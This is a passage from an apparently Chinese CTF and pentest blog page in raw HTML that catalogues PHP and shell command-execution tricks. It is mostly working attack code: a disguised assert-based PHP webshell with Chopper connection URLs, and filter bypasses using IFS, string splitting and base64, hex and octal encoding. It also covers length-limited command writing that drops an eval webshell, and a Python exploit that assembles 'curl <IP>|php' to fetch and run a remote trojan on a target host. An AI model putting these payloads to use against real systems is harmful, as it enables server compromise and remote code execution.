<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre> </li><li> <p><strong>uasort()</strong></p> <pre data-index="31" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#php环境>=<5.6才能用</span>
<span class="token comment">#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。</span>
<span class="token comment">#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);</span>
<span class="token comment">#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd</span>
<span class="token function">usort</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'asse'</span><span class="token operator">.</span><span class="token string single-quoted-string">'rt'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre> </li></ul>
<h3><a name="t30"></a><a id="_610"></a>绕过方式</h3>
<h4><a name="t31"></a><a id="_612"></a>空格</h4>
<pre data-index="32" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#常见的绕过符号有:</span>
<span class="token variable">$IFS</span><span class="token variable">$9</span> 、<span class="token variable">$</span><span class="token punctuation">{<!-- --></span><span class="token constant">IFS</span><span class="token punctuation">}</span> 、<span class="token operator">%</span><span class="token number">09</span><span class="token punctuation">(</span>php环境下<span class="token punctuation">)</span>、 重定向符<span class="token operator"><</span><span class="token operator">></span>、<span class="token operator"><</span>、
<span class="token comment">#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h4><a name="t32"></a><a id="_621"></a>命令分隔符</h4>
<pre data-index="33" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator">%</span><span class="token number">0</span>a <span class="token comment">#换行符,需要php环境</span>
<span class="token operator">%</span><span class="token number">0</span>d <span class="token comment">#回车符,需要php环境</span>
<span class="token punctuation">;</span> <span class="token comment">#在 shell 中,是”连续指令”</span>
<span class="token operator">&</span> <span class="token comment">#不管第一条命令成功与否,都会执行第二条命令</span>
<span class="token operator">&&</span> <span class="token comment">#第一条命令成功,第二条才会执行</span>
<span class="token operator">|</span> <span class="token comment">#第一条命令的结果,作为第二条命令的输入</span>
<span class="token operator">||</span> <span class="token comment">#第一条命令失败,第二条才会执行</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<h4><a name="t33"></a><a id="_633"></a>关键字</h4>
<p>假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做</p>
<ul><li> <p>拼接绕过</p> <pre data-index="34" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#执行ls命令:</span>
a<span class="token operator">=</span>l<span class="token punctuation">;</span>b<span class="token operator">=</span>s<span class="token punctuation">;</span><span class="token variable">$a</span><span class="token variable">$b</span>
<span class="token comment">#cat flag文件内容:</span>
a<span class="token operator">=</span>c<span class="token punctuation">;</span>b<span class="token operator">=</span>at<span class="token punctuation">;</span>c<span class="token operator">=</span>f<span class="token punctuation">;</span>d<span class="token operator">=</span>lag<span class="token punctuation">;</span><span class="token variable">$a</span><span class="token variable">$b</span> <span class="token variable">$</span><span class="token punctuation">{<!-- --></span>c<span class="token punctuation">}</span><span class="token variable">$</span><span class="token punctuation">{<!-- --></span>d<span class="token punctuation">}</span>
<span class="token comment">#cat test文件内容</span>
a<span class="token operator">=</span><span class="token string double-quoted-string">"ccaatt"</span><span class="token punctuation">;</span>b<span class="token operator">=</span><span class="token variable">$</span><span class="token punctuation">{<!-- --></span>a<span class="token punctuation">:</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token number">1</span><span class="token punctuation">}</span><span class="token variable">$</span><span class="token punctuation">{<!-- --></span>a<span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token number">1</span><span class="token punctuation">}</span><span class="token variable">$</span><span class="token punctuation">{<!-- --></span>a<span class="token punctuation">:</span><span class="token number">4</span><span class="token punctuation">:</span><span class="token number">1</span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token variable">$b</span> test
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre> </li><li> <p>编码绕过</p> <pre data-index="35" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#base64</span>
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"Y2F0IC9mbGFn"</span><span class="token operator">|</span><span class="token class-name">base64</span> <span class="token operator">-</span><span class="token class-name">d</span><span class="token operator">|</span><span class="token class-name">bash</span> <span class="token operator">==</span><span class="token operator">></span> cat <span class="token operator">/</span>flag
<span class="token keyword">echo</span> <span class="token class-name">Y2F0IC9mbGFn</span><span class="token operator">|</span><span class="token class-name">base64</span> <span class="token operator">-</span><span class="token class-name">d</span><span class="token operator">|</span><span class="token class-name">sh</span> <span class="token operator">==</span><span class="token operator">></span> cat <span class="token operator">/</span>flag
<span class="token comment">#hex</span>
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"0x636174202f666c6167"</span> <span class="token operator">|</span> <span class="token class-name">xxd</span> <span class="token operator">-</span>r <span class="token operator">-</span><span class="token class-name">p</span><span class="token operator">|</span><span class="token class-name">bash</span> <span class="token operator">==</span><span class="token operator">></span> cat <span class="token operator">/</span>flag
<span class="token comment">#oct/字节</span>
$<span class="token punctuation">(</span>printf <span class="token string double-quoted-string">"\154\163"</span><span class="token punctuation">)</span> <span class="token operator">==</span><span class="token operator">></span><span class="token class-name type-declaration">ls</span>
$<span class="token punctuation">(</span>printf <span class="token string double-quoted-string">"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"</span><span class="token punctuation">)</span> <span class="token operator">==</span><span class="token operator">></span>cat <span class="token operator">/</span>flag
<span class="token punctuation">{<!-- --></span>printf<span class="token punctuation">,</span><span class="token string double-quoted-string">"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"</span><span class="token punctuation">}</span><span class="token operator">|</span>\<span class="token variable">$0</span> <span class="token operator">==</span><span class="token operator">></span>cat <span class="token operator">/</span>flag
<span class="token comment">#i也可以通过这种方式写马</span>
<span class="token comment">#内容为<?php @eval($_POST['c']);?></span>
<span class="token variable">$</span><span class="token punctuation">{<!-- --></span>printf<span class="token punctuation">,</span><span class="token string double-quoted-string">"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"</span><span class="token punctuation">}</span> <span class="token operator">>></span> <span class="token number">1.</span>php
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li></ul></pre> </li><li> <p>单引号和双引号绕过</p> <pre data-index="36" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;">c<span class="token string single-quoted-string">'a'</span>t test
c<span class="token string double-quoted-string">"a"</span>t test
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre> </li><li> <p>反斜杠绕过</p> <pre data-index="37" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ca\t test
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> </li><li> <p>通过$PATH绕过</p> <pre data-index="38" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成</span>
<span class="token comment">#当执行程序时,shell自动跟据PATH变量的值去搜索该程序</span>
<span class="token comment">#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索</span>
<span class="token keyword">echo</span> <span class="token variable">$PATH</span>
<span class="token operator">/</span>usr<span class="token operator">/</span>local<span class="token operator">/</span>sbin<span class="token punctuation">:</span><span class="token operator">/</span>usr<span class="token operator">/</span>local<span class="token operator">/</span>bin<span class="token punctuation">:</span><span class="token operator">/</span>usr<span class="token operator">/</span>sbin<span class="token punctuation">:</span><span class="token operator">/</span>usr<span class="token operator">/</span>bin<span class="token punctuation">:</span><span class="token operator">/</span>sbin<span class="token punctuation">:</span><span class="token operator">/</span>bin
<span class="token string backtick-quoted-string">`echo $PATH| cut -c 8,9`</span>t test
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre> </li><li> <p>通配符绕过</p>
<blockquote>
<ol><li>[…]表示匹配方括号之中的任意一个字符</li><li>{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。</li><li>{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开</li></ol>
</blockquote> <pre data-index="39" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;">cat t<span class="token operator">?</span>st
cat te<span class="token operator">*</span>
cat t<span class="token punctuation">[</span>a<span class="token operator">-</span>z<span class="token punctuation">]</span>st
cat t<span class="token punctuation">{<!-- --></span>a<span class="token punctuation">,</span>b<span class="token punctuation">,</span>c<span class="token punctuation">,</span>d<span class="token punctuation">,</span>e<span class="token punctuation">,</span>f<span class="token punctuation">}</span>st
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li></ul>
<h4><a name="t34"></a><a id="_714"></a>限制长度</h4>
<blockquote>
<pre data-index="40" class="set-code-show prettyprint"><code class="prism language-shell has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator">></span>a <span class="token comment">#虽然没有输入但是会创建a这个文件</span>
<span class="token function">ls</span> <span class="token parameter variable">-t</span> <span class="token comment">#ls基于基于事件排序(从晚到早)</span>
<span class="token function">sh</span> a <span class="token comment">#sh会把a里面的每行内容当作命令来执行</span>
使用<span class="token operator">|</span>进行命令拼接 <span class="token comment">#l\ s = ls</span>
base64 <span class="token comment">#使用base64编码避免特殊字符</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
</blockquote>
<ul><li> <p>七字符限制</p> <pre data-index="41" class="set-code-hide prettyprint"><code class="prism language-shell has-numbering" onclick="mdcp.signin(event)" style="position: unset;">w<span class="token operator">></span>hp
w<span class="token operator">></span><span class="token number">1</span>.p<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>d<span class="token punctuation">\</span><span class="token operator">></span><span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span><span class="token punctuation">\</span> -<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>e64<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>bas<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span><span class="token number">7</span><span class="token punctuation">\</span><span class="token operator">|</span><span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>XSk<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>Fsx<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>dFV<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>kX0<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>bCg<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>XZh<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>AgZ<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>waH<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>PD9<span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>o<span class="token punctuation">\</span> <span class="token punctuation">\</span><span class="token punctuation">\</span>
w<span class="token operator">></span>ech<span class="token punctuation">\</span><span class="token punctuation">\</span>
<span class="token function">ls</span> -t<span class="token operator">|</span><span class="token punctuation">\</span>
<span class="token function">sh</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li></ul></pre> <p>翻译过来就是</p> <pre data-index="42" class="set-code-show prettyprint"><code class="prism language-shell has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token builtin class-name">echo</span> PD9waHAgZXZhbCgkX0dFVFsxXSk7 <span class="token operator">|</span> base64 <span class="token parameter variable">-d</span> <span class="token operator">></span> <span class="token number">1</span>.php
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre> <p>脚本代码</p> <pre data-index="43" class="set-code-show prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token keyword">import</span> requests
url <span class="token operator">=</span> <span class="token string">"http://192.168.1.100/rce.php?1={0}"</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"[+]start attack!!!"</span><span class="token punctuation">)</span>
<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"payload.txt"</span><span class="token punctuation">,</span><span class="token string">"r"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> f<span class="token punctuation">:</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"[*]"</span> <span class="token operator">+</span> url<span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>i<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>i<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token comment">#检查是否攻击成功</span>
test <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"http://192.168.61.157/1.php"</span><span class="token punctuation">)</span>
<span class="token keyword">if</span> test<span class="token punctuation">.</span>status_code <span class="token operator">==</span> requests<span class="token punctuation">.</span>codes<span class="token punctuation">.</span>ok<span class="token punctuation">:</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"[*]Attack success!!!"</span><span class="token punctuation">)</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li></ul></pre> </li><li> <p>四字符限制</p> <pre data-index="44" class="set-code-hide prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#-*-coding:utf8-*-</span>
<span class="token keyword">import</span> requests <span class="token keyword">as</span> r
<span class="token keyword">from</span> time <span class="token keyword">import</span> sleep
<span class="token keyword">import</span> random
<span class="token keyword">import</span> hashlib
target <span class="token operator">=</span> <span class="token string">'http://52.197.41.31/'</span>
<span class="token comment"># 存放待下载文件的公网主机的IP</span>
shell_ip <span class="token operator">=</span> <span class="token string">'xx.xx.xx.xx'</span>
<span class="token comment"># 本机IP</span>
your_ip <span class="token operator">=</span> r<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">'http://ipv4.icanhazip.com/'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token comment"># 将shell_IP转换成十六进制</span>
ip <span class="token operator">=</span> <span class="token string">'0x'</span> <span class="token operator">+</span> <span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token builtin">str</span><span class="token punctuation">(</span><span class="token builtin">hex</span><span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">.</span>zfill<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> shell_ip<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'.'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
reset <span class="token operator">=</span> target <span class="token operator">+</span> <span class="token string">'?reset'</span>
cmd <span class="token operator">=</span> target <span class="token operator">+</span> <span class="token string">'?cmd='</span>
sandbox <span class="token operator">=</span> target <span class="token operator">+</span> <span class="token string">'sandbox/'</span> <span class="token operator">+</span>
hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token string">'orange'</span> <span class="token operator">+</span> your_ip<span class="token punctuation">)</span><span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">'/'</span>
<span class="token comment"># payload某些位置的可选字符</span>
pos0 <span class="token operator">=</span> random<span class="token punctuation">.</span>choice<span class="token punctuation">(</span><span class="token string">'efgh'</span><span class="token punctuation">)</span>
pos1 <span class="token operator">=</span> random<span class="token punctuation">.</span>choice<span class="token punctuation">(</span><span class="token string">'hkpq'</span><span class="token punctuation">)</span>
pos2 <span class="token operator">=</span> <span class="token string">'g'</span> <span class="token comment"># 随意选择字符</span>
payload <span class="token operator">=</span> <span class="token punctuation">[</span>
<span class="token string">'>dir'</span><span class="token punctuation">,</span>
<span class="token comment"># 创建名为 dir 的文件</span>
<span class="token string">'>%s>'</span> <span class="token operator">%</span> pos0<span class="token punctuation">,</span>
<span class="token comment"># 假设pos0选择 f , 创建名为 f> 的文件</span>
<span class="token string">'>%st-'</span> <span class="token operator">%</span> pos1<span class="token punctuation">,</span>
<span class="token comment"># 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,</span>
<span class="token comment"># 因为alphabetical序中t>s</span>
<span class="token string">'>sl'</span><span class="token punctuation">,</span>
<span class="token comment"># 创建名为 >sl 的文件;到此处有四个文件,</span>
<span class="token comment"># ls 的结果会是:dir f> kt- sl</span>
<span class="token string">'*>v'</span><span class="token punctuation">,</span>
<span class="token comment"># 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,</span>
<span class="token comment"># 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl</span>
<span class="token comment"># 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符</span>
<span class="token string">'>rev'</span><span class="token punctuation">,</span>
<span class="token comment"># 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v</span>
<span class="token string">'*v>%s'</span> <span class="token operator">%</span> pos2<span class="token punctuation">,</span>
<span class="token comment"># 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。</span>
<span class="token comment"># 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f</span>
<span class="token comment"># 续行分割 curl 0x11223344|php 并逆序写入</span>
<span class="token string">'>p'</span><span class="token punctuation">,</span>
'<span class="token operator">></span>ph\'<span class="token punctuation">,</span>
'<span class="token operator">></span><span class="token operator">|</span>\'<span class="token punctuation">,</span>
'<span class="token operator">></span><span class="token operator">%</span>s\' <span class="token operator">%</span> ip<span class="token punctuation">[</span><span class="token number">8</span><span class="token punctuation">:</span><span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
'<span class="token operator">></span><span class="token operator">%</span>s\' <span class="token operator">%</span> ip<span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">:</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
'<span class="token operator">></span><span class="token operator">%</span>s\' <span class="token operator">%</span> ip<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">:</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
'<span class="token operator">></span><span class="token operator">%</span>s\' <span class="token operator">%</span> ip<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
'<span class="token operator">></span><span class="token operator">%</span>s\' <span class="token operator">%</span> ip<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
'<span class="token operator">></span> \'<span class="token punctuation">,</span>
'<span class="token operator">></span>rl\'<span class="token punctuation">,</span>
'<span class="token operator">></span>cu\'<span class="token punctuation">,</span>
<span class="token string">'sh '</span> <span class="token operator">+</span> pos2<span class="token punctuation">,</span>
<span class="token comment"># sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,</span>
<span class="token comment"># 虽然 f 的文件头部会有杂质,但不影响有效命令的执行</span>
<span class="token string">'sh '</span> <span class="token operator">+</span> pos0<span class="token punctuation">,</span>
<span class="token comment"># sh f 执行curl命令,下载文件,写入木马。</span>
<span class="token punctuation">]</span>
s <span class="token operator">=</span> r<span class="token punctuation">.</span>get<span class="token punctuation">(</span>reset<span class="token punctuation">)</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> payload<span class="token punctuation">:</span>
<span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span> <span class="token operator"><=</span> <span class="token number">4</span>
s <span class="token operator">=</span> r<span class="token punctuation">.</span>get<span class="token punctuation">(</span>cmd <span class="token operator">+</span> i<span class="token punctuation">)</span>
<span class="token keyword">print</span> <span class="token string">'[%d]'</span> <span class="token operator">%</span> s<span class="token punctuation">.</span>status_code<span class="token punctuation">,</span> s<span class="token punctuation">.</span>url
sleep<span class="token punctuation">(</span><span class="token number">0.1</span><span class="token punctuation">)</span>
s <span class="token operator">=</span> r<span class="token punctuation">.</span>get<span class="token punctuation">(</span>sandbox <span class="token operator">+</span> <span class="token string">'fun.php?cmd=uname -a'</span><span class="token punctuation">)</span>
<span class="token keyword">print</span> <span class="token string">'[%d]'</span> <span class="token operator">%</span> s<span class="token punctuation">.</span>status_code<span class="token punctuation">,</span> s<span class="token punctuation">.</span>url
<span class="token keyword">print</span> s<span class="token punctuation">.</span>text
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li><li style="color: rgb(153, 153, 153);">32</li><li style="color: rgb(153, 153, 153);">33</li><li style="color: rgb(153, 153, 153);">34</li><li style="color: rgb(153, 153, 153);">35</li><li style="color: rgb(153, 153, 153);">36</li><li style="color: rgb(153, 153, 153);">37</li><li style="color: rgb(153, 153, 153);">38</li><li style="color: rgb(153, 153, 153);">39</li><li style="color: rgb(153, 153, 153);">40</li><li style="color: rgb(153, 153, 